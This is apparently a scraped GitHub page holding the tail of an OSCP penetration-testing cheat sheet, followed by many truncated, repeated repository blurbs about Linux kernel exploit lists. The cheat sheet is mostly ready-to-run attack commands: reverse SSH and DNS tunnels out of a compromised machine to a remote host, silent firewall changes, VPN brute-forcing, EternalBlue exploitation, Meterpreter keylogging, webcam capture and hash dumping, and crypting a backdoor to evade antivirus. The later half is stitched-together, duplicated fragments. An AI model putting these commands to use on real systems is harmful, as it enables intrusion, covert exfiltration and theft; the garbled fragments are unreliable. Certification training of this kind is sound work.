<gateway> -R <remote port to bind>:<local host>:<local port> SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY host in the DMZ network on ANY PORT ssh -D <local proxy port> -p <remote port> <target> Proxychains - Perform nmap scan within a DMZ from an external computer Create reverse SSH tunnel from Popped machine on :2222 ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com ssh -f -N -R 2222:<local host>:22 root@<remote host> Create a Dynamic application-level port forward on 8080 thru 2222 ssh -f -N -D <local host>:8080 -p 2222 hax0r@<remote host> Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains proxychains nmap --top-ports=20 -sT -Pn $ip/24 HTTP Tunneling nc -vvn $ip 8888 Traffic Encapsulation - Bypassing deep packet inspection http tunnel On server side: sudo hts -F <server ip addr>:<port of your app> 80 On client side: sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network Tunnel on port 22 plink -l root -pw pass -R 3389:<localhost>:3389 <remote host> Port 22 blocked? Try port 80? or 443? plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80 Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection) Windows machine add required firewall rules without prompting the user netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000 netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080 netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079 Start the http tunnel client httptunnel_client.exe Create HTTP reverse shell by connecting to localhost port 3000 plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000 VLAN Hopping git clone https://github.com/nccgroup/vlan-hopping.git chmod 700 frogger.sh ./frogger.sh VPN Hacking Identify VPN servers: ./udp-protocol-scanner.pl -p ike $ip Scan a range for VPN servers: ./udp-protocol-scanner.pl -p ike -f ip.txt Use IKEForce to enumerate or dictionary attack VPN servers: pip install pyip git clone https://github.com/SpiderLabs/ikeforce.git Perform IKE VPN enumeration with IKEForce: ./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic Bruteforce IKE VPN using IKEForce: ./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1 Use ike-scan to capture the PSK hash: ike-scan ike-scan TARGET-IP ike-scan -A TARGET-IP ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key ike-scan –M –A –n example\_group -P hash-file.txt TARGET-IP Use psk-crack to crack the PSK hash psk-crack hash-file.txt pskcrack psk-crack -b 5 TARGET-IPkey psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key psk-crack -d /path/to/dictionary-file TARGET-IP-key PPTP Hacking Identifying PPTP, it listens on TCP: 1723 NMAP PPTP Fingerprint: nmap –Pn -sV -p 1723 TARGET(S) PPTP Dictionary Attack thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst Port Forwarding/Redirection PuTTY Link tunnel - SSH Tunneling Forward remote port to local address: plink.exe -P 22 -l root -pw "1337" -R 445:<local host>:445 <remote host> SSH Pivoting SSH pivoting from one network to another: ssh -D <local host>:1010 -p 22 user@<remote host> DNS Tunneling dnscat2 supports “downloadâ€� and “uploadâ€� commands for getting iles (data and programs) to and from the target machine. Attacking Machine Installation: apt-get update apt-get -y install ruby-dev git make g++ gem install bundler git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server bundle install Run dnscat2: ruby ./dnscat2.rb dnscat2> New session established: 1422 dnscat2> session -i 1422 Target Machine: https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/ dnscat --host <dnscat server ip> The Metasploit Framework See Metasploit Unleashed Course in the Essentials Search for exploits using Metasploit GitHub framework source code: https://github.com/rapid7/metasploit-framework Translate them for use on OSCP LAB or EXAM. Metasploit MetaSploit requires Postfresql systemctl start postgresql To enable Postgresql on startup systemctl enable postgresql MSF Syntax Start metasploit msfconsole msfconsole -q Show help for command show -h Show Auxiliary modules show auxiliary Use a module use auxiliary/scanner/snmp/snmp_enum use auxiliary/scanner/http/webdav_scanner use auxiliary/scanner/smb/smb_version use auxiliary/scanner/ftp/ftp_login use exploit/windows/pop3/seattlelab_pass Show the basic information for a module info Show the configuration parameters for a module show options Set options for a module set RHOSTS 192.168.1.1-254 set THREADS 10 Run the module run Execute an Exploit exploit Search for a module search type:auxiliary login Metasploit Database Access Show all hosts discovered in the MSF database hosts Scan for hosts and store them in the MSF database db_nmap Search machines for specific ports in MSF database services -p 443 Leverage MSF database to scan SMB ports (auto-completed rhosts) services -p 443 --rhosts Staged and Non-staged Non-staged payload - is a payload that is sent in its entirety in one go Staged - sent in two parts Not have enough buffer space Or need to bypass antivirus MS 17-010 - EternalBlue - You may find some boxes that are vulnerable to MS17-010 (AKA. EternalBlue). Although, not offically part of the indended course, this exploit can be leveraged to gain SYSTEM level access to a Windows box. I have never had much luck using the built in Metasploit EternalBlue module. I found that the elevenpaths version works much more relabily. Here are the instructions to install it taken from the following YouTube video: https://www.youtube.com/watch?v=4OHLor9VaRI 1. First step is to configure the Kali to work with wine 32bit `dpkg --add-architecture i386 && apt-get update && apt-get install wine32 rm -r ~/.wine wine cmd.exe exit` 2. Download the exploit repostory https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit 3. Move the exploit to /usr /share /metasploit-framework /modules /exploits /windows /smb 4. Start metasploit console I found that using spoolsv.exe as the PROCESSINJECT yielded results on OSCP boxes. `use exploit/windows/smb/eternalblue_doublepulsar msf exploit(eternalblue_doublepulsar) > set RHOST 10.10.10.10 RHOST => 10.11.1.73 msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT spoolsv.exe PROCESSINJECT => spoolsv.exe msf exploit(eternalblue_doublepulsar) > run` Experimenting with Meterpreter Get system information from Meterpreter Shell sysinfo Get user id from Meterpreter Shell getuid Search for a file search -f *pass*.txt Upload a file upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec Download a file download c:\\Windows\\system32\\calc.exe /tmp/calc.exe Invoke a command shell from Meterpreter Shell shell Exit the meterpreter shell exit Metasploit Exploit Multi Handler multi/handler to accept an incoming reverse_https_meterpreter payload use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_https set LHOST $ip set LPORT 443 exploit [*] Started HTTPS reverse handler on https://$ip:443/ Building Your Own MSF Module mkdir -p ~/.msf4/modules/exploits/linux/misc cd ~/.msf4/modules/exploits/linux/misc cp /usr/share/metasploitframework/modules/exploits/linux/misc/gld\_postfix.rb ./crossfire.rb nano crossfire.rb Post Exploitation with Metasploit - (available options depend on OS and Meterpreter Cababilities) download Download a file or directory upload Upload a file or directory portfwd Forward a local port to a remote service route View and modify the routing table keyscan_start Start capturing keystrokes keyscan_stop Stop capturing keystrokes screenshot Grab a screenshot of the interactive desktop record_mic Record audio from the default microphone for X seconds webcam_snap Take a snapshot from the specified webcam getsystem Attempt to elevate your privilege to that of local system. hashdump Dumps the contents of the SAM database Meterpreter Post Exploitation Features Create a Meterpreter background session background Bypassing Antivirus Software Crypting Known Malware with Software Protectors One such open source crypter, called Hyperion cp /usr/share/windows-binaries/Hyperion-1.0.zip unzip Hyperion-1.0.zip cd Hyperion-1.0/ i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.exe cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc_s_sjlj-1.dll . cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.dll . wine hyperion.exe ../backdoor.exe ../crypted.exe OSCP Course Review Offensive Security’s PWB and OSCP — My Experience http://www.securitysift.com/offsec-pwb-oscp/ OSCP Journey https://scriptkidd1e.wordpress.com/oscp-journey/ Down with OSCP http://ch3rn0byl.com/down-with-oscp-yea-you-know-me/ Jolly Frogs - Tech Exams (Very thorough) http://www.techexams.net/forums/security-certifications/110760-oscp-jollyfrogs-tale.html OSCP Inspired VMs and Walkthroughs https://www.vulnhub.com/ https://www.root-me.org/ Walk through of Tr0ll-1 - Inspired by on the Trolling found in the OSCP exam https://highon.coffee/blog/tr0ll-1-walkthrough/ Another walk through for Tr0ll-1 https://null-byte.wonderhowto.com/how-to/use-nmap-7-discover-vulnerabilities-launch-dos-attacks-and-more-0168788/ Taming the troll - walkthrough https://leonjza.github.io/blog/2014/08/15/taming-the-troll/ Troll download on Vuln Hub https://www.vulnhub.com/entry/tr0ll-1,100/ Sickos - Walkthrough: https://highon.coffee/blog/sickos-1-walkthrough/ Sickos - Inspired by Labs in OSCP https://www.vulnhub.com/series/sickos,70/ Lord of the Root Walk Through https://highon.coffee/blog/lord-of-the-root-walkthrough/ Lord Of The Root: 1.0.1 - Inspired by OSCP https://www.vulnhub.com/series/lord-of-the-root,67/ Tr0ll-2 Walk Through https://leonjza.github.io/blog/2014/10/10/another-troll-tamed-solving-troll-2/ Tr0ll-2 https://www.vulnhub.com/entry/tr0ll-2,107/ Cheat Sheets Penetration Tools Cheat Sheet https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/ Pen Testing Bookmarks https://github.com/kurobeats/pentest-bookmarks/blob/master/BookmarksList.md OSCP Cheatsheets https://github.com/slyth11907/Cheatsheets CEH Cheatsheet https://scadahacker.com/library/Documents/Cheat_Sheets/Hacking%20-%20CEH%20Cheat%20Sheet%20Exercises.pdf Net Bios Scan Cheat Sheet https://highon.coffee/blog/nbtscan-cheat-sheet/ Reverse Shell Cheat Sheet https://highon.coffee/blog/reverse-shell-cheat-sheet/ NMap Cheat Sheet https://highon.coffee/blog/nmap-cheat-sheet/ Linux Commands Cheat Sheet https://highon.coffee/blog/linux-commands-cheat-sheet/ Security Hardening CentO 7 https://highon.coffee/blog/security-harden-centos-7/ MetaSploit Cheatsheet https://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf Google Hacking Database: https://www.exploit-db.com/google-hacking-database/ Windows Assembly Language Mega Primer http://www.securitytube.net/groups?operation=view&groupId=6 Linux Assembly Language Mega Primer http://www.securitytube.net/groups?operation=view&groupId=5 Metasploit Cheat Sheet https://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf A bit dated but most is still relevant http://hackingandsecurity.blogspot.com/2016/04/oscp-related-notes.html NetCat http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf http://www.secguru.com/files/cheatsheet/nessusNMAPcheatSheet.pdf http://sbdtools.googlecode.com/files/hping3_cheatsheet_v1.0-ENG.pdf http://sbdtools.googlecode.com/files/Nmap5%20cheatsheet%20eng%20v1.pdf http://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf http://rmccurdy.com/scripts/Metasploit%20meterpreter%20cheat%20sheet%20reference.html http://h.ackack.net/cheat-sheets/netcat Essentials Exploit-db https://www.exploit-db.com/ SecurityFocus - Vulnerability database http://www.securityfocus.com/ Vuln Hub - Vulnerable by design https://www.vulnhub.com/ Exploit Exercises https://exploit-exercises.com/ SecLists - collection of multiple types of lists used during security assessments. List types include usernames, passwords, URLs, sensitive data grep strings, fuzzing payloads https://github.com/danielmiessler/SecLists Security Tube http://www.securitytube.net/ Metasploit Unleashed - free course on how to use Metasploit https://www.offensive-security.com/metasploit-unleashed/ 0Day Security Enumeration Guide http://www.0daysecurity.com/penetration-testing/enumeration.html Github IO Book - Pen Testing Methodology https://monkeysm8.gitbooks.io/pentesting-methodology/ Windows Privledge Escalation Fuzzy Security http://www.fuzzysecurity.com/tutorials/16.html accesschk.exe https://technet.microsoft.com/en-us/sysinternals/bb664922 Windows Priv Escalation For Pen Testers https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/ Elevating Privileges to Admin and Further https://hackmag.com/security/elevating-privileges-to-administrative-and-further/ Transfer files to windows machines https://blog.netspi.com/15-ways-to-download-a-file/ About No description, website, or topics provided. Resources Readme Releases No releases published

This is a clone of frizb/OSCP-Survival-Guide This can also be viewed on x89ktk OSCP-Survival-Guide NOTE: This document refers to the target ip as the export variable $ip To set this value on the command line use the following syntax: export ip=1921681100 Table of Contents Kali Linux Information Gathering &amp; Vulnerability Scanning Passive Information Gathering Acti

wired-courtyard Handbook and survival guide for hacking over the wire, OSCP-style UPDATE: October 4, 2017 For OSCP Lab machine enumeration automation, checkout my other project: VANQUISH Vanquish is a Kali Linux based Enumeration Orchestrator written in Python Vanquish leverages the opensource enumeration tools on Kali to perform multiple active information gathering phases

No description, website, or topics provided.

No description, website, or topics provided.

Linux xSuggest Linux Exploit Suggester; based on operating system release number This program run without arguments will perform a 'uname -r' to grab the Linux Operating Systems release version, and return a suggestive list of possible exploits Nothing fancy, so a patched/back-ported patch may fool this script Additionally possible to provide '-k' flag t

Linux_Exploit_Suggester Linux Exploit Suggester; based on operating system release number This program run without arguments will perform a 'uname -r' to grab the Linux Operating Systems release version, and return a suggestive list of possible exploits Nothing fancy, so a patched/back-ported patch may fool this script Additionally possible to provide '-k

Linux_Exploit_Suggester Linux Exploit Suggester; based on operating system release number This program run without arguments will perform a 'uname -r' to grab the Linux Operating Systems release version, and return a suggestive list of possible exploits Nothing fancy, so a patched/back-ported patch may fool this script Additionally possible to provide '-k

kernelpop kernelpop is a framework for performing automated kernel vulnerability enumeration and exploitation on the following operating systems: Linux Mac It is designed to be python version-agnostic, meaning that it should work with both python2 and python3 please let me know if you find that it doesn't example of enumeration to root (Linux) ways to use run

linux-kernel-exploits 简介 linux-kernel-exploits 漏洞列表 #CVE  #Description  #Kernels CVE-2017-1000367  [Sudo] (Sudo 186p7 - 1820) CVE-2017-7494  [Samba Remote execution] (Samba 350-464/4510/4414) CVE-2016-5195  [Dirty cow] (Linux kernel&gt;2622 (released in 2007)) CVE-2016-0728  [pp_key] (380, 381, 382, 383, 38

linux-kernel-exploits 简介 linux-kernel-exploits 漏洞列表 #CVE  #Description  #Kernels CVE-2017-1000367  [Sudo] (Sudo 186p7 - 1820) CVE-2017-1000112  [a memory corruption due to UFO to non-UFO path switch] CVE-2017-7494  [Samba Remote execution] (Samba 350-464/4510/4414) CVE-2017-7308  [a signedness issue in AF_PACKET sockets]

linux-kernel-exploits 简介 linux-kernel-exploits 漏洞列表 #CVE  #Description  #Kernels CVE-2017-1000367  [Sudo] (Sudo 186p7 - 1820) CVE-2017-1000112  [a memory corruption due to UFO to non-UFO path switch] CVE-2017-7494  [Samba Remote execution] (Samba 350-464/4510/4414) CVE-2017-7308  [a signedness issue in AF_PACKET sockets]

linux-kernel-exploits 简介 linux-kernel-exploits 漏洞列表 #CVE  #Description  #Kernels CVE-2017-1000367  [Sudo] (Sudo 186p7 - 1820) CVE-2017-1000112  [a memory corruption due to UFO to non-UFO path switch] CVE-2017-7494  [Samba Remote execution] (Samba 350-464/4510/4414) CVE-2017-7308  [a signedness issue in AF_PACKET sockets]

Linux-Kernel-Exploit #CVE  #Description  #Kernels CVE–2018–1000001  [glibc] (glibc &lt;= 226) CVE-2017-1000367  [Sudo] (Sudo 186p7 - 1820) CVE-2017-1000112  [a memory corruption due to UFO to non-UFO path switch] CVE-2017-16995  [Memory corruption caused by BPF verifier] (Linux kernel before 414 - 44) CVE-2017-16939  

linux-kernel-exploits 简介 linux-kernel-exploits 漏洞列表 #CVE  #Description  #Kernels CVE–2018–1000001  [glibc] (glibc &lt;= 226) CVE-2017-1000367  [Sudo] (Sudo 186p7 - 1820) CVE-2017-1000112  [a memory corruption due to UFO to non-UFO path switch] CVE-2017-16995  [Memory corruption caused by BPF verifier] (Linux kern

linux-kernel-exploits 简介 linux-kernel-exploits 漏洞列表 #CVE  #Description  #Kernels CVE-2017-1000367  [Sudo] (Sudo 186p7 - 1820) CVE-2017-1000112  [a memory corruption due to UFO to non-UFO path switch] CVE-2017-7494  [Samba Remote execution] (Samba 350-464/4510/4414) CVE-2017-7308  [a signedness issue in AF_PACKET sockets]

Linux Kernel Exploitation Some exploitation methods and techniques are outdated and don't work anymore on newer kernels Pull requests are welcome Books 2012: "A Guide to Kernel Exploitation: Attacking the Core" by Enrico Perla and Massimiliano Oldani Exploitation techniques 2018: "Linux-Kernel-Exploit Stack Smashing" [article] 2018, HitB: "Mirror

linux-kernel-exploits 简介 linux-kernel-exploits 漏洞列表 #CVE  #Description  #Kernels CVE–2018–18955  [map_write() in kernel/user_namespacec allows privilege escalation] (Linux kernel 415x through 419x before 4192) CVE–2018–1000001  [glibc] (glibc &lt;= 226) CVE-2017-1000367  [Sudo] (Sudo 186p7 - 1820)

Linux-Kernel-exploit Great articke related to Linux kernel fuzzing and exploitation Pull requests are welcome Books 2012: "A Guide to Kernel Exploitation: Attacking the Core" by Enrico Perla and Massimiliano Oldani Exploitation techniques 2017: "New Reliable Android Kernel Root Exploitation Techniques" [slides] 2017: "Unleashing Use-Before-Initializati

linux-kernel-exploits 简介 linux-kernel-exploits 漏洞列表 #CVE  #Description  #Kernels CVE–2018–1000001  [glibc] (glibc &lt;= 226) CVE-2017-1000367  [Sudo] (Sudo 186p7 - 1820) CVE-2017-1000112  [a memory corruption due to UFO to non-UFO path switch] CVE-2017-16995  [Memory corruption caused by BPF verifier] (Linux kern

linux-kernel-exploits 简介 linux-kernel-exploits 漏洞列表 #CVE  #Description  #Kernels CVE–2018–1000001  [glibc] (glibc &lt;= 226) CVE-2017-1000367  [Sudo] (Sudo 186p7 - 1820) CVE-2017-1000112  [a memory corruption due to UFO to non-UFO path switch] CVE-2017-16995  [Memory corruption caused by BPF verifier] (Linux kern

linux-kernel-exploits 简介 linux-kernel-exploits 漏洞列表 #CVE  #Description  #Kernels CVE-2017-1000367  [Sudo] (Sudo 186p7 - 1820) CVE-2017-1000112  [a memory corruption due to UFO to non-UFO path switch] CVE-2017-7494  [Samba Remote execution] (Samba 350-464/4510/4414) CVE-2017-7308  [a signedness issue in AF_PACKET sockets]

linux-kernel-exploits 简介 linux-kernel-exploits 漏洞列表 #CVE  #Description  #Kernels CVE-2017-1000367  [Sudo] (Sudo 186p7 - 1820) CVE-2017-1000112  [a memory corruption due to UFO to non-UFO path switch] CVE-2017-7494  [Samba Remote execution] (Samba 350-464/4510/4414) CVE-2017-7308  [a signedness issue in AF_PACKET sockets]

linux-kernel-exploits 简介 linux-kernel-exploits 漏洞列表 #CVE  #Description  #Kernels CVE-2017-1000367  [Sudo] (Sudo 186p7 - 1820) CVE-2017-1000112  [a memory corruption due to UFO to non-UFO path switch] CVE-2017-7494  [Samba Remote execution] (Samba 350-464/4510/4414) CVE-2017-7308  [a signedness issue in AF_PACKET sockets]

linux-kernel-exploits 简介 linux-kernel-exploits 漏洞列表 #CVE  #Description  #Kernels CVE–2018–1000001  [glibc] (glibc &lt;= 226) CVE-2017-1000367  [Sudo] (Sudo 186p7 - 1820) CVE-2017-1000112  [a memory corruption due to UFO to non-UFO path switch] CVE-2017-16995  [Memory corruption caused by BPF verifier] (Linux kern

linux-kernel-exploits 简介 linux-kernel-exploits 漏洞列表 #CVE  #Description  #Kernels CVE–2018–1000001  [glibc] (glibc &lt;= 226) CVE-2017-1000367  [Sudo] (Sudo 186p7 - 1820) CVE-2017-1000112  [a memory corruption due to UFO to non-UFO path switch] CVE-2017-16995  [Memory corruption caused by BPF verifier] (Linux kern

linux-kernel-exploits 简介 linux-kernel-exploits 漏洞列表 #CVE  #Description  #Kernels CVE–2018–18955  [map_write() in kernel/user_namespacec allows privilege escalation] (Linux kernel 415x through 419x before 4192) CVE–2018–1000001  [glibc] (glibc &lt;= 226) CVE-2017-1000367  [Sudo] (Sudo 186p7 - 1820)

Linux Kernel Exploitation Pull requests are welcome Books 2012: "A Guide to Kernel Exploitation: Attacking the Core" by Enrico Perla and Massimiliano Oldani Exploitation techniques 2019: "Leak kernel pointer by exploiting uninitialized uses in Linux kernel" by Jinbum Park [slides] 2018: "Linux Kernel universal heap spray" by Vitaly Nikolenko [arti

Linux Kernel Exploitation Some exploitation methods and techniques are outdated and don't work anymore on newer kernels Pull requests are welcome Books 2012: "A Guide to Kernel Exploitation: Attacking the Core" by Enrico Perla and Massimiliano Oldani Exploitation techniques 2018: "Linux-Kernel-Exploit Stack Smashing" [article] 2018, HitB: "Mirror

LinuxFlaw This repo records all the vulnerabilities of linux software I have reproduced in my local workspace If the vulnerability has both CVE-ID and EDB-ID, CVE-ID is preferred as its directory name All the vulnerable source code packages are stored in source-packages Vmware Workstation Images Image Name username password Ubuntu 810 exploit exploit Ubuntu 1004LTS

LinuxFlaw This repo records all the vulnerabilities of linux software I have reproduced in my local workspace If the vulnerability has both CVE-ID and EDB-ID, CVE-ID is preferred as its directory name All the vulnerable source code packages are stored in source-packages Vmware Workstation Images Image Name username password Ubuntu 810 exploit exploit Ubuntu 1004LTS